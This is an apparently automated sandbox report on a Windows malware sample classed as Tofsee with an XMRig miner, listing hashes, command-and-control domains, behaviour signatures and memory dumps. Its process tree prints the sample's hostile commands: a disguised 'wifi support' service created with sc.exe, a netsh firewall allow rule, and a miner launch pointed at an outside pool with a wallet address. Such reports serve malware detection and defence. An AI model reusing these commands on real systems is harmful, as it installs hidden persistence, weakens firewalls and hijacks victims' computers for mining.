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Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05/10/2023, 12:45

General

  • Target

    file.exe

  • Size

    195KB

  • MD5

    cc2db916f8e2020ed1cf4f741777d101

  • SHA1

    40e5d582687651ec748be305901738e009a77c9b

  • SHA256

    b8de746feded9dbd1fb290b18d44d33eb02aaa069f789a92fb630ffa585def95

  • SHA512

    a527fd44fef11e875c043a92d08e28b307075ab7a498491dc929883f65bdaf1a69a1e046557960406dec925fc8a6f48ec68ae4ec2cc9e98775b34d372741f6e1

  • SSDEEP

    3072:pPTBMwuu/85WrfofsEeF3IedhnrA7kdSzLYrvNR/4k9Y5IAOmKT0:hTBMo/85QgheFNXrr04zNR/r989

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qmqnienf\
      2⤵
        PID:2596
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\amurxkqo.exe" C:\Windows\SysWOW64\qmqnienf\
        2⤵
          PID:2644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qmqnienf binPath= "C:\Windows\SysWOW64\qmqnienf\amurxkqo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2248
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qmqnienf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qmqnienf
          2⤵
          • Launches sc.exe
          PID:2608
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2444
      • C:\Windows\SysWOW64\qmqnienf\amurxkqo.exe
        C:\Windows\SysWOW64\qmqnienf\amurxkqo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2388
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:752

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\amurxkqo.exe

        Filesize

        10.4MB

        MD5

        61f8d40d6f1342d18089cd52d1d141b4

        SHA1

        54a8206d913ba213c4e1ad15966fc6eeb4d39a76

        SHA256

        392349799718317f8715519ffc5567025369e4a9473e05221eab46c8d2d951e9

        SHA512

        1f4ac5e5fc8fa7350dda7437bae6063389773ac3f9585635293010557223fbcd2d6f0e4ba9ec93d0333c24733326ff5094b283ef3b4ea115f2e757315a383f17

      • C:\Windows\SysWOW64\qmqnienf\amurxkqo.exe

        Filesize

        10.4MB

        MD5

        61f8d40d6f1342d18089cd52d1d141b4

        SHA1

        54a8206d913ba213c4e1ad15966fc6eeb4d39a76

        SHA256

        392349799718317f8715519ffc5567025369e4a9473e05221eab46c8d2d951e9

        SHA512

        1f4ac5e5fc8fa7350dda7437bae6063389773ac3f9585635293010557223fbcd2d6f0e4ba9ec93d0333c24733326ff5094b283ef3b4ea115f2e757315a383f17

      • memory/752-63-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/752-65-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2388-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2388-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2388-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2388-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2388-24-0x0000000001A80000-0x0000000001C8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2388-27-0x0000000001A80000-0x0000000001C8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2388-28-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/2388-31-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-34-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-35-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2388-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2388-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-49-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-50-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2388-51-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/2388-55-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/2388-54-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/2388-58-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/2388-59-0x0000000000160000-0x0000000000167000-memory.dmp

        Filesize

        28KB

      • memory/2496-16-0x0000000000400000-0x00000000005A8000-memory.dmp

        Filesize

        1.7MB

      • memory/2496-11-0x0000000000400000-0x00000000005A8000-memory.dmp

        Filesize

        1.7MB

      • memory/2496-10-0x0000000000760000-0x0000000000860000-memory.dmp

        Filesize

        1024KB

      • memory/2552-1-0x0000000000680000-0x0000000000780000-memory.dmp

        Filesize

        1024KB

      • memory/2552-6-0x0000000000400000-0x00000000005A8000-memory.dmp

        Filesize

        1.7MB

      • memory/2552-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2552-3-0x0000000000400000-0x00000000005A8000-memory.dmp

        Filesize

        1.7MB

      • memory/2552-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB